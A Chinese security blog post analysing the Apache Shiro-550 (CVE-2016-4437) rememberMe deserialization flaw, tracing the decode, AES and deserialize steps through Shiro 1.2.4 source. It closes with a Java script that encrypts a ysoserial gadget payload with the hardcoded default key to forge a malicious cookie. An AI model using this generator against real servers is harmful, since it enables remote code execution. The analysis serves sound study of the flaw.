深入探究Shiro反序列化漏洞

Shiro反序列化漏洞

  • 什么是shiro反序列化漏洞
  • 环境搭建
  • 漏洞判断
  • rememberMe解密流程
  • 代码分析
    • 第一层解密
    • 第二层解密
      • 2.1层解密
      • 2.2层解密
  • exp

什么是shiro反序列化漏洞

Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,可以快速轻松地对应用程序进行保护

Shiro-550反序列化漏洞(CVE-2016-4437) 漏洞简介 shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。 于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。

环境搭建

我们先去github下载shiro 1.2.4的工程代码,下载链接如下

shrio 1.2.4

然后解压到一个文件夹,并打开shiro-shiro-root-1.2.4/pom.xml文件,并把jstl依赖版本改为1.2

1711202988730.png

然后使用IDEA打开Maven项目,位置选择我们刚才解压的文件夹,最后点击确认

1711203015927.png

然后IDAE会自动下载依赖项,需要等待一段时间,如果感觉下的很慢,或者下载失败的话,可以将Maven的下载源更改为国内的

1711203036535.png

下载完成后我们编辑下运行配置,设置为Tomcat本地服务器运行,然后JRE选择我们Java8版本的

1711203068871.png

然后点击部署,工件选择samples-web:war

1711203087252.png

最后点击运行即可,出现下面界面即代表配置成功

1711203104257.png

漏洞判断

访问url/samples_web_war/login.jsp,并登陆抓包
1711203120903.png

抓包完成后,我们回到网页退出下登陆,然后在repeater界面重放下,可以看到remenberme 字段,代表可能存在shiro反序列化漏洞
1711203153748.png
当发现cookie中带有rememberMe字段时,就会触发getRememberedPrincipals方法

该方法路径为 org\apache\shiro\mgt\AbstractRememberMeManager.java 390行 getRememberedPrincipals

rememberMe解密流程

1711203194323.png

1711203218898.png

在shiro进行反序列化前会经过三层解密,如上图所示

1.getRememberedSerializedIdentity(subjectContext) //base64解密
2.convertBytesToPrincipals(bytes, subjectContext) //密钥aes解密&反序列化解密2.1 decrypt(bytes) 密钥解密2.2 deserialize(bytes)反序列化解密

接下来便对这三层解密进行分析

代码分析

第一层解密

在我们Cookie中传入代码如下rememberMe字段后会先调用getRememberedPrincipals方法对其处理,其中参数subjectContext便是我们传入的rememberMe字段

我们看下该方法的代码

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {PrincipalCollection principals = null;try {byte[] bytes = getRememberedSerializedIdentity(subjectContext);//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:if (bytes != null && bytes.length > 0) {principals = convertBytesToPrincipals(bytes, subjectContext);}} catch (RuntimeException re) {principals = onRememberedPrincipalFailure(re, subjectContext);}return principals;
}

代码中的subjectContext属性便为rememberMe字段的值,我们发现对其调用了getRememberedSerializedIdentity方法,跟进查看该方法代码如下

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {if (!WebUtils.isHttp(subjectContext)) {if (log.isDebugEnabled()) {String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +"servlet request and response in order to retrieve the rememberMe cookie. Returning " +"immediately and ignoring rememberMe operation.";log.debug(msg);}return null;}WebSubjectContext wsc = (WebSubjectContext) subjectContext;if (isIdentityRemoved(wsc)) {return null;}HttpServletRequest request = WebUtils.getHttpRequest(wsc);HttpServletResponse response = WebUtils.getHttpResponse(wsc);String base64 = getCookie().readValue(request, response);// Browsers do not always remove cookies immediately (SHIRO-183)// ignore cookies that are scheduled for removalif (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;if (base64 != null) {base64 = ensurePadding(base64);if (log.isTraceEnabled()) {log.trace("Acquired Base64 encoded identity [" + base64 + "]");}byte[] decoded = Base64.decode(base64);       //关键代码if (log.isTraceEnabled()) {log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");}return decoded;} else {//no cookie set - new site visitor?return null;}}

我们看到这句代码byte[] decoded = Base64.decode(base64);,对我们rememberMe字段进行base64解密,然后执行代码return decoded;,返回解密结果

第二层解密

然后回到PrincipalCollection方法,调用第二个解密,也就是调用convertBytesToPrincipals方法对刚才base64解密的结果进行解密

principals = convertBytesToPrincipals(bytes, subjectContext);

我们查看下convertBytesToPrincipals方法,代码如下

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {if (getCipherService() != null) {bytes = decrypt(bytes);}return deserialize(bytes);}

2.1层解密

首先会对传入的bytes执行函数decrypt(bytes),进行默认的密钥解码

我们看下decrypt函数的代码

    protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;}

发现是通过这行代码解密的ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

但是前提得满足if (cipherService != null)

cipherService属性的值是通过代码CipherService cipherService = getCipherService();获取的,我们查看下该方法

    public CipherService getCipherService() {return cipherService;}

该方法会把属性cipherService的值给该函数中属性cipherService

并且进入if语句后是调用getDecryptionCipherKey()方法获取的密钥进行解密

那现在有两个问题

  1. 属性cipherService的值如何获得呢?
  2. getDecryptionCipherKey()方法又是如何获取的密钥进行解密的呢?

先不着急,我们再看下getDecryptionCipherKey()方法的代码

    public byte[] getDecryptionCipherKey() {return decryptionCipherKey;}

可以看到这里会返回全局变量decryptionCipherKey,我们对它查看用法,查看是如何赋值的,用法代码如下

   public void setDecryptionCipherKey(byte[] decryptionCipherKey) {this.decryptionCipherKey = decryptionCipherKey;}

我们发现调用setDecryptionCipherKey方法会对decryptionCipherKey属性进行赋值,我们再对该方法进行查看用法,查看哪里调用了setDecryptionCipherKey方法对其赋值

我们来到了setCipherKey方法,发现调用这个方法可以对其赋值,进行逐步调用上面的那些函数从而赋值decryptionCipherKey属性

    public void setCipherKey(byte[] cipherKey) {//Since this method should only be used in symmetric ciphers//(where the enc and dec keys are the same), set it on both:setEncryptionCipherKey(cipherKey);setDecryptionCipherKey(cipherKey);}

那我们看下是哪里调用了setCipherKey方法,通过查看用法我们来到了AbstractRememberMeManager类构造方法

在构造方法当中便可以回答我们上面的两个问题

    public AbstractRememberMeManager() {this.serializer = new DefaultSerializer<PrincipalCollection>();this.cipherService = new AesCipherService(); //赋值cipherServicesetCipherKey(DEFAULT_CIPHER_KEY_BYTES);  //赋值密钥decryptionCipherKey}

我们看下默认的秘钥DEFAULT_CIPHER_KEY_BYTES的定义,发现其为一个固定的全局属性,只有在shrio 1.2.4当中,密钥才是固定的,在更高版本中则为随机的

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

接下来便调用decrypt方法中的以下代码进行秘钥解密

        if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;

2.2层解密

在进行秘钥解密后,便会return解密结果,然后回到convertBytesToPrincipals方法,对其结果调用方法deserialize(bytes),进行最后一步反序列化解密,反序列化漏洞便出现在deserialize方法代码里面

我们查看下deserialize方法代码的代码

   protected PrincipalCollection deserialize(byte[] serializedIdentity) {return getSerializer().deserialize(serializedIdentity);}

可以看到deserialize方法会继续调用getSerializer().deserialize方法处理刚才的秘钥解密数据,

我们先看下getSerializer()方法是怎么定义的,右键查看定义,代码如下

    public Serializer<PrincipalCollection> getSerializer() {return serializer;}

可以看到返回了全局变量serializer,我们看下该属性的定义,再次来到了构造方法

    public AbstractRememberMeManager() {this.serializer = new DefaultSerializer<PrincipalCollection>();this.cipherService = new AesCipherService();setCipherKey(DEFAULT_CIPHER_KEY_BYTES);}

发现serializer属性被赋值为了DefaultSerializer对象,也就是说getSerializer().deserialize实际上是调用了DefaultSerializer对象中的deserialize方法,我们查看其代码

    public T deserialize(byte[] serialized) throws SerializationException {if (serialized == null) {String msg = "argument cannot be null.";throw new IllegalArgumentException(msg);}ByteArrayInputStream bais = new ByteArrayInputStream(serialized);BufferedInputStream bis = new BufferedInputStream(bais);try {ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);@SuppressWarnings({"unchecked"})T deserialized = (T) ois.readObject();ois.close();return deserialized;} catch (Exception e) {String msg = "Unable to deserialze argument byte array.";throw new SerializationException(msg, e);}}
}

然后便会调用代码T deserialized = (T) ois.readObject();,对我们传入的payload经过3层解密后进行反序列化,然后代码执行

exp

我们使用那条cc链还需要根据具体的java版本以及相关的库版本相关,加密生成rememberMe字段的脚本如下

paylod.txt中存放我们用yso生成的cc链字节码

package org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;class TestRemember {public static void main(String[] args) throws Exception {byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("./cs"));AesCipherService aes = new AesCipherService();byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//key可使用脚本爆破ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());try (FileWriter fileWriter = new FileWriter("./paylod.txt")) {fileWriter.append(ciphertext.toString());}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/585666.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue项目登录页实现获取短信验证码的功能

之前我们写过不需要调后端接口就获取验证码的方法,具体看《无需后端接口,用原生js轻松实现验证码》这个文章。现在我们管理后台有个需求,就是登录页面需要获取验证码,用户可以输入验证码后进行登录。效果如下,当我点击获取验证码后能获取短信验证码: 这里在用户点击获取…

手搓Docker-Image-Creator(DIC)工具(03):实现alpine+jre的镜像

此篇博客将介绍如何使用 Docker 创建一个alpine3.10-jre1.8.0_401 的 Docker 镜像&#xff0c;并使用 Docker 运行起来。将用到 Dockerfile 的 COPY 命令、RUN 命令、ENV 命令&#xff0c;最终实现基于单一应用的 Dockerfile 构建镜像和运行。 紧急修改&#xff1a;代码我是在m…

【机器学习300问】60、图像分类任务中,训练数据不足会带来什么问题?如何缓解图像数据不足带来的问题?

在机器学习中&#xff0c;绝大部分模型都需要大量的数据进行训练和学习&#xff08;包括有监督学习和无监督学习&#xff09;&#xff0c;然而在实际应用中经常会遇到训练数据不足的问题。就比如图像分类这样的计算机视觉任务&#xff0c;确实依赖于大规模且多样化的训练数据以…

【前缀和差分】详细使用方法

前缀和 前缀和的作用&#xff1a; 快速求出元素组中某段区间的和 为什么下标要从1 开始&#xff1a;为了方便后面的计算&#xff0c;避免下标转换&#xff0c;设为零&#xff0c;不影响结果 定义两个数组&#xff0c;第一个为原始数组(a[])&#xff0c;第二个为前缀和数组(s[…

如何编辑PDF文件?分享一个好用的PDF编辑器

如何编辑PDF文件呢?大家在日常中经常会使用PDF文件,难免在使用的过程中会发现文件出现的错误,更正错误地方最简单有效的方法就是直接在PDF文件上进行编辑,但大家都知道PDF文件不易改动,该如何编辑呢? 在这里推荐给大家一个好用的PDF编辑器 PDFPatcher是一款开源免费的多…

基于arkTS开发鸿蒙app应用案例——通讯录案例

1.项目所用技术栈 arkTS node.js express mongoDB 2.效果图 3.源码 Index.ets&#xff08;登录页&#xff09; 登陆时让前端访问数据库中已经存好的账号密码&#xff0c;如果可以查询到数据库中的数据&#xff0c;则账号密码正确&#xff0c;登录成功&#xff0c;否则登录…

美食分享(源码+文档)

美食分享系统&#xff08;小程序、ios、安卓都可部署&#xff09; 文件包含内容程序简要说明含有功能项目截图客户端主页注册界面美食详细及教程界面搜索菜谱分类美食制作上传我的资料登录界面 管理端登录界面关键词管理用户管理分类管理历史管理菜谱管理 文件包含内容 1、搭建…

LINUX笔记温习

目录 DAY1 DAY2 day3&#xff1a; day4 day5 day6 day7 day8 day9 day10 day11 day12 day13 day14 day15 20day DAY1 1、多层级文件夹创建要带-p&#xff1b; 2、创建多文件&#xff0c;要先到该目录下才能创建(第一个目录必须存在才能有效建立)&#xff1b; D…

【Leetcode每日一题】模拟 - 替换所有的问号(难度⭐⭐)(48)

1. 题目解析 题目链接&#xff1a;6. Z 字形变换 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 2.算法原理 想要画出N字形&#xff0c;我们首先要观察并找出其中的规律。假设我们用“row”来代表行数&#xff0c;当row等于4时&…

C# 排序的多种实现方式(经典)

一、 对数组进行排序 最常见的排序是对一个数组排序&#xff0c;比如&#xff1a; int[] aArray new int[8] { 18, 17, 21, 23, 11, 31, 27, 38 }; 1、利用冒泡排序进行排序&#xff1a; &#xff08;即每个值都和它后面的数值比较&#xff0c;每次拿出最小值&#xff09; s…

手机照片误删了怎么恢复?如何从 iPhone 恢复已删除的照片

照片是最容易从 iPhone 中意外删除的项目之一。好消息是它们也是最容易恢复的数据类型之一。至少&#xff0c;如果您一开始没有特意删除它们的话&#xff0c;它们是这样的。 如果你忘记了它们&#xff0c;情况就会变得更加困难。不过&#xff0c;您仍然有其他选择&#xff0c;…

【项目管理】史上最全的项目管理常用工具模板大合集

以下是资料目录&#xff0c;如需下载&#xff0c;请前往星球获取&#xff0c;海量免费资源等你领取&#xff1a;https://t.zsxq.com/18CJ6ZMZX 一、CMMI 3标准文档模板 1.CMMI3级精简并行过程综述 2.立项管理 3.结项管理 4.项目规划 5.项目监控 6.风险管理 7.需求管理 8.需求开…